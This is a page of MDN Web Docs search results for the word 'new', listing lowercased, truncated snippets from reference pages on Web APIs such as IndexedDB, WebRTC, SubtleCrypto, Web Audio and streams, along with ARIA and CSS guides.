...then a new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy.
...any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth.
...And 2 more matches
FileSystemEntry - Web APIs
it also introduces a new url scheme: filesystem:.
... copyto() copies the file or directory to a new location on the file system.
... moveto() moves the file or directory to a new location on the file system, or renames the file or directory.
...And 2 more matches
Using the Frame Timing API - Web APIs
function create_frame_observer() { if (window.performanceobserver === undefined) return; // register the performance observer var observe_frame = new performanceobserver(function(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #1: [" + i + "] = " + perfentries[i].name); } }); // only observe 'frame' events observe_frame.observe({entrytypes: ['frame']}); } function init () { create_frame_observer(); var obs = new pe...
...rformanceobserver(frame_observer_2); obs.observe({entrytypes: ['frame']}); } function frame_observer_2(list) { // log the frame entries var perfentries = list.getentriesbytype("frame"); for (var i=0; i < perfentries.length; i++) { console.log("obs #2: [" + i + "] = " + perfentries[i].name); } } <body onload="init(event)"> when the browser adds a new "frame" entry to the performance timeline, both of the observer callbacks will be invoked.
... var observe_frame = new performanceobserver(function(list) { // process the frame ...
...And 2 more matches
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio.
... syntax audioobj = new audio(url); parameters url optional an optional domstring containing the url of an audio file to be associated with the new audio element.
... return value a new htmlaudioelement object, configured to be used for playing back the audio from the file specified by url.the new object's preload property is set to auto and its src property is set to the specified url or null if no url is given.
...And 2 more matches
HTMLTableElement - Web APIs
if none is found, a new one is created and inserted in the tree immediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element.
...if none is found, a new one is created and inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element.
...if none is found, a new one is created and inserted in the tree as the first child of the <table> element.
...And 2 more matches
Headers() - Web APIs
WebAPIHeadersHeaders
the headers() constructor creates a new headers object.
... syntax var myheaders = new headers(init); parameters init optional an object containing any http headers that you want to pre-populate your headers object with.
...in the last case, the new headers object inherits its data from the existing headers object.
...And 2 more matches
IDBDatabase.createObjectStore() - Web APIs
the createobjectstore() method of the idbdatabase interface creates and returns a new object store or index.
... syntax idbdatabase.createobjectstore(name); idbdatabase.createobjectstore(name, options); parameters name the name of the new object store to be created.
...it includes the following properties: attribute description keypath the key path to be used by the new object store.
...And 2 more matches
IDBObjectStore.createIndex() - Web APIs
the createindex() method of the idbobjectstore interface creates and returns a new idbindex object in the connected database.
... it creates a new field/column defining a new data point for each database record to contain.
... return value an idbindex object: the newly created index.
...And 2 more matches
IDBObjectStore.put() - Web APIs
the put() method of the idbobjectstore interface updates a given record in a database, or inserts a new record if the given item does not already exist.
...this is for adding new records, or updating existing records in an object store when the transaction's mode is readwrite.
...doing so makes it clear that an existing record will be updated, instead of a new record being inserted.
...And 2 more matches
IDBObjectStoreSync - Web APIs
createindex() creates and returns a new index with the given name in the connected database.
... idbindexsync createindex ( in domstring name, in domstring keypath, in optional boolean unique ); parameters name the name of a new index.
... keypath the key path used by the new index.
...And 2 more matches
compareVersion - Web APIs
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... 1 registryname has a larger (newer) build number than version.
... 2 registryname has a larger (newer) release number than version.
...And 2 more matches
IntersectionObserver.IntersectionObserver() - Web APIs
the intersectionobserver() constructor creates and returns a new intersectionobserver object.
... syntax var observer = new intersectionobserver(callback[, options]); parameters callback a function which is called when the percentage of the target element is visible crosses a threshold.
... return value a new intersectionobserver which can be used to watch for the visibility of a target element within the specified root crossing through any of the specified visibility thresholds.
...And 2 more matches
Intersection Observer API - Web APIs
creating an intersection observer create the intersection observer by calling its constructor and passing it a callback function to be run whenever a threshold is crossed in one direction or the other: let options = { root: document.queryselector('#scrollarea'), rootmargin: '0px', threshold: 1.0 } let observer = new intersectionobserver(callback, options); a threshold of 1.0 means that when 100% of the target is visible within the element specified by the root option, the callback is invoked.
... let thresholdsets = [ [], [0.5], [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0], [0, 0.25, 0.5, 0.75, 1.0] ]; for (let i=0; i<=1.0; i+= 0.01) { thresholdsets[0].push(i); } // add each box, creating a new observer for each for (let i=0; i<4; i++) { let template = document.queryselector("#boxtemplate").content.clonenode(true); let boxid = "box" + (i+1); template.queryselector(".samplebox").id = boxid; wrapper.appendchild(document.importnode(template, true)); // set up the observer for this box observeroptions.threshold = thresholdsets[i]; observers[i] = new intersec...
... creating the intersection observer the createobserver() method is called once page load is complete to handle actually creating the new intersectionobserver and starting the process of observing the target element.
...And 2 more matches
MediaSource.addSourceBuffer() - Web APIs
the addsourcebuffer() method of the mediasource interface creates a new sourcebuffer of the given mime type and adds it to the mediasource's sourcebuffers list.
... the new sourcebuffer is also returned.
... return value a sourcebuffer object representing the new source buffer that has been created and added to the media source.
...And 2 more matches
MediaStreamAudioSourceNode() - Web APIs
the web audio api's mediastreamaudiosourcenode() constructor creates and returns a new mediastreamaudiosourcenode object which uses the first audio track of a given mediastream as its source.
... syntax audiosourcenode = new mediastreamaudiosourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with.
... return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained from the specified source stream.
...And 2 more matches
MediaStreamTrackAudioSourceNode() - Web APIs
the web audio api's mediastreamtrackaudiosourcenode() constructor creates and returns a new mediastreamtrackaudiosourcenode object whose audio is taken from the mediastreamtrack specified in the given options object.
... syntax audiotracknode = new mediastreamtrackaudiosourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with.
... return value a new mediastreamtrackaudiosourcenode object representing the audio node whose media is obtained from the specified media track.
...And 2 more matches
Capabilities, constraints, and settings - Web APIs
you can then apply those changes and see the result, including both what the stream looks like and what the actual media settings are set to after applying the new constraints.
... video: videoconstraints, audio: audioconstraints }).then(function(stream) { let audiotracks = stream.getaudiotracks(); let videotracks = stream.getvideotracks(); videoelement.srcobject = stream; if (audiotracks.length) { audiotrack = audiotracks[0]; } if (videotracks.length) { videotrack = videotracks[0]; } }).then(function() { return new promise(function(resolve) { videoelement.onloadedmetadata = resolve; }); }).then(function() { getcurrentsettings(); }).catch(handleerror); } there are several steps here: it calls buildconstraints() to create the mediatrackconstraints objects for the two tracks from the code in the edit boxes.
... mediastreamtrack.applyconstraints() is called on the video track (if there is one) to apply the new videoconstraints.
...And 2 more matches
MutationObserver.MutationObserver() - Web APIs
the dom mutationobserver() constructor — part of the mutationobserver interface — creates and returns a new observer which invokes a specified callback when dom events occur.
... syntax const observer = new mutationobserver(callback) parameters callback a function which will be called on each dom change that qualifies given the observed node or subtree and options.
... return value a new mutationobserver object, configured to call the specified callback when dom mutations occur.
...And 2 more matches
Node.appendChild() - Web APIs
WebAPINodeappendChild
if the given child is a reference to an existing node in the document, appendchild() moves it from its current position to the new position (there is no requirement to remove the node from its parent node before appending it to some other node).
...so if the node already has a parent, the node is first removed, then appended at the new position.
... the node.clonenode() method can be used to make a copy of the node before appending it under the new parent.
...And 2 more matches
OffscreenCanvas - Web APIs
creates a new offscreencanvas object.
... examples synchronous display of frames produced by an offscreencanvas one way to use the offscreencanvas api, is to use a renderingcontext that has been obtained from an offscreencanvas object to generate new frames.
... once a new frame has finished rendering in this context, the transfertoimagebitmap() method can be called to save the most recent rendered image.
...And 2 more matches
PannerNode.distanceModel - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.distancemodel = 'inverse'; value a enum — see distancemodeltype.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode.maxDistance - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.maxdistance = 10000; value a double.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode.panningModel - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.panningmodel = 'hrtf'; value a enum — see panningmodeltype.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode.setOrientation() - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.setorientation(1,0,0); returns void.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode.setPosition() - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.setposition(0,0,0); returns void.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode.setVelocity() - Web APIs
syntax var audioctx = new audiocontext(); var panner = audioctx.createpanner(); panner.setvelocity(0,0,17); returns void.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
PannerNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor pannernode.pannernode creates a new pannernode object instance.
...in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... note how we have used some feature detection to either give the browser the newer property values (like audiolistener.forwardx) for setting position, etc.
...And 2 more matches
Path2D() - Web APIs
WebAPIPath2DPath2D
the path2d() constructor returns a newly instantiated path2d object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of svg path data.
... syntax new path2d(); new path2d(path); new path2d(d); parameters path optional when invoked with another path2d object, a copy of the path argument is created.
... d optional when invoked with a string consisting of svg path data, a new path is created from that description.
...And 2 more matches
RTCDataChannelEvent() - Web APIs
the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.
... syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a domstring which specifies the name of the event.
... value a new rtcdatachannelevent configured as specified.
...And 2 more matches
RTCIceCandidate.usernameFragment - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
...the function below, ssnewcandidate(), is called when a message, signalmsg, arrives from the signaling server that contains an ice candidate to be added to the rtcpeerconnection.
... to avoid including candidates obsoleted by an ice restart, we can use code like this: const ssnewcandidate = signalmsg => { let candidate = new rtcicecandidate(signalmsg.candidate); let receivers = pc.getreceivers(); receivers.foreach(receiver => { let parameters = receiver.transport.getparameters(); if (parameters.usernamefragment === candidate.usernamefragment) { return; } }); pc.addicecandidate(candidate) .catch(reporterror); } this walks through the list of the rtcrtpreceiver objects being used to receive ice data, and looks to see if the usernamefragment indicated in the candidate matches any of them.
...And 2 more matches
RTCPeerConnection.createDataChannel() - Web APIs
the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted.
... if the new data channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded event.
... return value a new rtcdatachannel object with the specified label, configured using the options specified by options if that parameter is included; otherwise, the defaults listed above are established.
...And 2 more matches
Range.insertNode() - Web APIs
WebAPIRangeinsertNode
the new node is inserted at the start boundary point of the range.
... if the new node is to be added to a text node, that node is split at the insertion point, and the insertion occurs between the two text nodes.
... if the new node is a document fragment, the children of the document fragment are inserted instead.
...And 2 more matches
Range.surroundContents() - Web APIs
the range.surroundcontents() method moves content of the range into a new node, placing the new node at the start of the specified range.
... this method is nearly equivalent to newnode.appendchild(range.extractcontents()); range.insertnode(newnode).
... after surrounding, the boundary points of the range include newnode.
...And 2 more matches
Request - Web APIs
WebAPIRequest
you can create a new request object using the request() constructor, but you are more likely to encounter a request object being returned as the result of another api operation, such as a service worker fetchevent.request.
... constructor request() creates a new request object.
... examples in the following snippet, we create a new request using the request() constructor (for an image file in the same directory as the script), then return some property values of the request: const request = new request('https://www.mozilla.org/favicon.ico'); const url = request.url; const method = request.method; const credentials = request.credentials; you could then fetch this request by passing the request object in as a parameter to...
...And 2 more matches
Response - Web APIs
WebAPIResponse
you can create a new response object using the response.response() constructor, but you are more likely to encounter a response object being returned as the result of another api operation—for example, a service worker fetchevent.respondwith, or a simple windoworworkerglobalscope.fetch().
... constructor response() creates a new response object.
... response.error() returns a new response object associated with a network error.
...And 2 more matches
SpeechGrammarList - Web APIs
constructor speechgrammarlist.speechgrammarlist() creates a new speechgrammarlist object.
... speechgrammarlist.addfromuri() takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
...stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object.
...And 2 more matches
Using writable streams - Web APIs
the syntax skeleton looks like this: const stream = new writablestream({ start(controller) { }, write(chunk,controller) { }, close(controller) { }, abort(reason) { } }, { highwatermark, size() }); the constructor takes two objects as parameters.
... write(chunk,controller) — a method that is called repeatedly every time a new chunk is ready to be written to the underlying sink (specified in the chunk parameter).
... the constructor call in our example looks like this: const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: tr...
...And 2 more matches
SubtleCrypto.exportKey() - Web APIs
*/ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer = new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an event listener on the "export" button.
... /* convert an arraybuffer into a string from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function ab2str(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
...*/ window.crypto.subtle.generatekey( { name: "rsa-pss", // consider using a 4096-bit key for systems that require long-term security moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]), hash: "sha-256", }, true, ["sign", "verify"] ).then((keypair) => { const exportbutton = document.queryselector(".pkcs8"); exportbutton.addeventlistener("click", () => { exportcryptokey(keypair.privatekey); }); }); subjectpublickeyinfo export this example exports an rsa public encryption key as a pem-encoded subjectpublickeyinfo object.
...And 2 more matches
SubtleCrypto.importKey() - Web APIs
derivekey: the key may be used in deriving a new key.
... const rawkey = window.crypto.getrandomvalues(new uint8array(16)); /* import an aes secret key from an arraybuffer containing the raw bytes.
... /* convert a string into an arraybuffer from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-from-string */ function str2ab(str) { const buf = new arraybuffer(str.length); const bufview = new uint8array(buf); for (let i = 0, strlen = str.length; i < strlen; i++) { bufview[i] = str.charcodeat(i); } return buf; } const pemencodedkey = `-----begin private key----- miievqibadanbgkqhkig9w0baqefaascbkcwggsjageaaoibaqdd0tpv/du2vftjvxj1t/gxtk39snbvroaeb/jkzxae+xa0h+3lhzaqiqnmfacibsgifzuvegb+7tqxwqpolofr/r7mvgwcsk98jyrvtved8zmzyyitsy7m2...
...And 2 more matches
SubtleCrypto.unwrapKey() - Web APIs
derivekey: the key may be used in deriving a new key.
...*/ function bytestoarraybuffer(bytes) { const bytesasarraybuffer = new arraybuffer(bytes.length); const bytesuint8 = new uint8array(bytesasarraybuffer); bytesuint8.set(bytes); return bytesasarraybuffer; } /* get some key material to use as input to the derivekey method.
...*/ function getkeymaterial() { let password = window.prompt("enter your password"); let enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* derive an aes-kw key using pbkdf2.
...And 2 more matches
SubtleCrypto - Web APIs
subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for symmetrical algorithms, or a cryptokeypair, containing two newly generated keys, for asymmetrical algorithms.
... subtlecrypto.derivekey() returns a promise that fulfills with a newly generated cryptokey derived from the master key and specific algorithm given as parameters.
... subtlecrypto.derivebits() returns a promise that fulfills with a newly generated buffer of pseudo-random bits derived from the master key and specific algorithm given as parameters.
...And 2 more matches
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... usage notes the addtrack event is called whenever a new track is added to the media element whose video tracks are represented by the texttracklist object.
...And 2 more matches
TrackDefault.TrackDefault() - Web APIs
the trackdefault() constructor of the trackdefault interface constructs and returns a new trackdefault object.
... syntax var trackdefault = new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a domstring specifying a media segment data type for the sourcebuffer to contain.
... language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track.
...And 2 more matches
URL - Web APIs
WebAPIURL
you normally create a new url object by specifying the url as a string when calling its constructor, or by providing a relative url and a base url.
... constructor new url() creates and returns a url object referencing the url specified using an absolute url string, or a relative url string and a base url string.
... usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properties can be set to construct the url: url.hash = 'tabby'; console.log(url.href); // "http://www.example.com/cats#tabby" urls are encoded according to the rules found in rfc 3986.
...And 2 more matches
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the newly-added track.
... usage notes the addtrack event is called whenever a new track is added to the media element whose video tracks are represented by the videotracklist object.
...And 2 more matches
Raining rectangles - Web APIs
size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect = new rectangle(); timer = settimeout(drawanimation, 17); document.queryselector("canvas") .addeventlistener("click", playerclick, false); var displays = document.queryselectorall("strong"); scoredisplay = displays[0]; missesdisplay = displays[1]; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.
...size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect.velocity; if (rainingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation.
... // increment score and create a new rectangle.
...And 2 more matches
Lifetime of a WebRTC session - Web APIs
it’s so big that years ago, smart people saw how big it was, how fast it was growing, and the limitations of the 32-bit ip addressing system, and realized that something had to be done before we ran out of addresses to use, so they started working on designing a new 64-bit addressing system.
...this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, with one exception: media continues to flow across the original network connection until the new one is up and running.
... then media shifts to the new network connection and the old one is closed.
...And 2 more matches
WebRTC API - Web APIs
rtctrackevent the interface used to represent a track event, which indicates that an rtcrtpreceiver object was added to the rtcpeerconnection object, indicating that a new incoming mediastreamtrack was created and added to the rtcpeerconnection.
... datachannel a new rtcdatachannel is available following the remote peer opening a new data channel.
... icecandidate an rtcpeerconnectioniceevent which is sent whenever the local device has identified a new ice candidate which needs to be added to the local peer by calling setlocaldescription().
...And 2 more matches
Writing WebSocket client applications - Web APIs
the websocket constructor accepts one required and one optional parameter: websocket = new websocket(url, protocols); url the url to which to connect; this should be the url to which the websocket server will respond.
... examples this simple example creates a new websocket, connecting to the server at wss://www.example.com/socketserver.
... var examplesocket = new websocket("wss://www.example.com/socketserver", "protocolone"); on return, examplesocket.readystate is connecting.
...And 2 more matches
Attestation and Assertion - Web APIs
attestation when an authenticator registers a new key pair with a service, the authenticator signs the public key with an attestation certificate.
... attestationobject - cryptographic attestation that a newly generated keypair was created by that authenticator.
...- security keys that implement the fido u2f standard use this format none - browsers may prompt users whether they want a site to be allowed to see their attestation data and/or may remove attestation data from the authenticator's response if the `attestation` parameter in `navigator.credentials.create()` is set to `none` the purpose of attestation is to cryptographically prove that a newly generated key pair came from a specific device.
...And 2 more matches
Using the Web Speech API - Web APIs
the web speech api provides two distinct areas of functionality — speech recognition, and speech synthesis (also known as text to speech, or tts) — which open up interesting new possibilities for accessibility, and control mechanisms.
...we also create a new speech grammar list to contain our grammar, using the speechgrammarlist() constructor.
... var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); we add our grammar to the list using the speechgrammarlist.addfromstring() method.
...And 2 more matches
Functions and classes available to Web Workers - Web APIs
40 (40) no support (yes) no support textencoder and textdecoder create and return a new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings.
... workers can also create a new url using the url() constructor and call any normal method on the returned object.
... no support no support no support websocket creates and returns a new websocket object; this mimics the behavior of the standard websocket() constructor.
...And 2 more matches
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
the optional parameters, if present, are bundled up in a javascript array object and added to the newly created window as a property named window.arguments.
... syntax newwindow = opendialog(url, name, features, arg1, arg2, ...) newwindow the opened window url the url to be loaded in the newly opened window.
... the arguments to be passed to the new window (optional).
...And 2 more matches
WritableStream - Web APIs
constructor writablestream() creates a new writablestream object.
... writablestream.getwriter() returns a new instance of writablestreamdefaultwriter and locks the stream to that instance.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
...And 2 more matches
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
the writablestreamdefaultwriter() constructor creates a new writablestreamdefaultwriter object instance.
... syntax var writablestreamdefaultwriter = new writablestreamdefaultwriter(stream); parameters stream the writablestream to be written to.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
...And 2 more matches
HTML in XMLHttpRequest - Web APIs
var xhr = new xmlhttprequest(); xhr.onload = function() { console.log(this.responsexml.title); } xhr.open("get", "file.html"); xhr.responsetype = "document"; xhr.send(); feature detection method 1 this method relies on the "force async" nature of the feature.
... function htmlinxhr() { if (!window.xmlhttprequest) return false; var req = new window.xmlhttprequest(); req.open('get', window.location.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; } view on jsfiddle this method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature.
...this test file is small and is not well-formed xml: <title>&amp;&<</title> if the file is named detect.html, the following function can be used for detecting html parsing support: function detecthtmlinxhr(callback) { if (!window.xmlhttprequest) { window.settimeout(function() { callback(false); }, 0); return; } var done = false; var xhr = new window.xmlhttprequest(); xhr.onreadystatechange = function() { if (this.readystate == 4 && !done) { done = true; callback(!!(this.responsexml && this.responsexml.title && this.responsexml.title == "&&<")); } } xhr.onabort = xhr.onerror = function() { if (!done) { done = true; callback(false); } } try { xhr.open("get", "detect.html"); xhr.r...
...And 2 more matches
XRInputSourceEventInit.inputSource - Web APIs
the xrinputsourceeventinit dictionary's inputsource property is used when calling the xrinputsourceevent() constructor to specify the xrinputsource from which the newly-created event is being sent.
... syntax let xrinputsourceeventinit.inputsource = xrinputsource; let xrinputsourceeventinit = { inputsource: xrinputsource }; let xrinputsourceevent = new xrinputsourceevent(type, { inputsource: xrinputsource }); value an xrinputsource object indicating the source of the newly-created xrinputsourceevent to be created.
... the new object's inputsource will be set to this value.
...And 2 more matches
XRInputSourcesChangeEvent() - Web APIs
the xrinputsourceschangeevent() constructor creates and returns a new xrinputsourceschangeevent object, representing an update to the list of available webxr input devices.
... syntax newinputsourceschangeevent = new xrinputsourceschangeevent(type, eventinitdict); parameters type a domstring indicating the type of event which has occurred.
... return value a newly-created xrinputsourceschangeevent object configured based upon the input parameters provided.
...And 2 more matches
XRReferenceSpace: reset event - Web APIs
in either case, the event is sent before any webxr animation frames which make use of the new origin are executed.
... for a bounded-floor reference space, the coordinate system can be reset if the user exits the boundaries of the reference space and enters a new one (such as by crossing from one level to another in a game, where each level is its own map with its own coordinate system).
...the coordinate system is thus reset with its new origin at or near the user's current position.
...And 2 more matches
XRReferenceSpaceEvent() - Web APIs
the xrreferencespaceevent() constructor is used to create a new xrreferencespaceevent object, which represents an event regarding the state of a webxr reference space object, xrreferencespace.
... syntax let refspaceevent = new xrreferencespaceevent(type, eventinitdict); parameters type a domstring indicating the event type which has occurred.
... eventinitdict an object based on the xrreferencespaceeventinit dictionary, containing data used to initialize the new event object.
...And 2 more matches
ARIA annotations - Accessibility
wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents.
... below we'll introduce the new features associated with aria annotations, and have a look at some code examples that show them in action.
... aria annotations features the aria attributes providing these new abilities are as follows: aria-description="" — provides a detailed description of an html element, as opposed to the brief label provided by aria-label.
...And 2 more matches
ARIA: button role - Accessibility
a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a command such as inserting a new record or displaying information.
...in this case, the action is to add a new name to the list of names.
... html <h1>aria button example</h1> <ul id="namelist"></ul> <label for="newname">enter your name: </label> <input type="text" id="newname"> <span role="button" tabindex="0" onclick="handlecommand()" onkeydown="handlecommand()">add name</span> css [role="button"] { padding: 2px; background-color: navy; color: white; cursor: default; } [role="button"]:hover, [role="button"]:focus, [role="button"]:active { background-color: white; color: navy; } ul { list-style: none; } javascript function handlecommand(event) { // handles both mouse clicks and keyboard // activate with enter or space // get the new name value from the input element ...
...And 2 more matches
Border-radius generator - CSS: Cascading Style Sheets
sensivity : 5; var input = new inputcomponent(this); var slider_left = new slidercomponent(this, -1); var slider_right = new slidercomponent(this, 1); slider_left.classname = 'ui-input-slider-left'; slider_right.classname = 'ui-input-slider-right'; if (name) { var info = document.createelement('span'); info.classname = 'ui-input-slider-info'; info.textcontent = name; node.appendchild(info); } nod...
...ction unsubscribe(topic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { for (var i in subscribers[this.topic]) { subscribers[this.topic][i](this.value); } } var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); } return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, getnode : getnode, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); /** * ui-buttonmanager */ var buttonmanager = (function checkboxmanager() { var subscribers = []; var buttons = []; var checkbox = function checkbox(node) { var topic = no...
...opic, callback) { subscribers[topic].indexof(callback); subscribers[topic].splice(index, 1); } var notify = function notify() { for (var i = 0; i < subscribers[this.topic].length; i++) subscribers[this.topic][i](this.checkbox.checked); } var init = function init() { var elem = document.queryselectorall('.ui-checkbox'); var size = elem.length; for (var i = 0; i < size; i++) new checkbox(elem[i]); } return { init : init, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe } })(); window.addeventlistener("load", function() { borderradius.init(); }); var borderradius = (function borderradius() { function getelembyid(id) { return document.getelementbyid(id); } /** * shadow dragging */ var previewmousetracking = (function drag()...
...And 2 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
there is however the ability to wrap flex items onto new lines, creating new rows if flex-direction is row and new columns if flex-direction is column.
...once the first row gets to a point where there is not enough space to place another 160 pixel item, a new flex line is created for the items and so on until all of the items are placed.
...the container will need to have a height in order that the items will start wrapping and creating new columns, and items will stretch taller to fill each column completely.
...And 2 more matches
Variable fonts guide - CSS: Cascading Style Sheets
introducing the 'variation axis' the heart of the new variable fonts format is the concept of an axis of variation describing the allowable range of that particular aspect of the typeface design.
...the w3c has undertaken mapping them to existing css attributes, and in one case introduced a new one, which you'll see below.
...the lower-level syntax (font-variation-settings) was the first mechanism implemented in order to test the early implementations of variable font support, and is necessary to utilize new or custom axes beyond the five registered ones.
...And 2 more matches
Column layouts - CSS: Cascading Style Sheets
requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of content broken up into newspaper-style columns.
... download this example use multicol when: you want your text to display in newspaper-like columns.
... a single row of items with equal heights — flexbox flexbox can be used to break content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column.
...And 2 more matches
white-space - CSS: Cascading Style Sheets
newline characters in the source are handled the same as other white space.
...lines are only broken at newline characters in the source and at <br> elements.
...lines are broken at newline characters, at <br>, and as necessary to fill line boxes.
...And 2 more matches
Event reference
mozbrowserdocumentfirstpaint firefox os browser api-specific sent when a new paint occurs on any document in the browser <iframe>.
... mozbrowserloadstart firefox os browser api-specific sent when the browser <iframe> starts to load a new page.
... mozbrowseropentab firefox os browser api-specific sent when a new tab is opened within a browser <iframe> as a result of the user issuing a command to open a link target in a new tab (for example ctrl/cmd + click.) mozbrowseropenwindow firefox os browser api-specific sent when window.open() is called within a browser iframe.
...And 2 more matches
Getting Started - Developer guides
httprequest = new xmlhttprequest(); } else if (window.activexobject) { // ie 6 and older httprequest = new activexobject("microsoft.xmlhttp"); } note: for illustration purposes, the above is a somewhat simplified version of the code to be used for creating an xmlhttp instance.
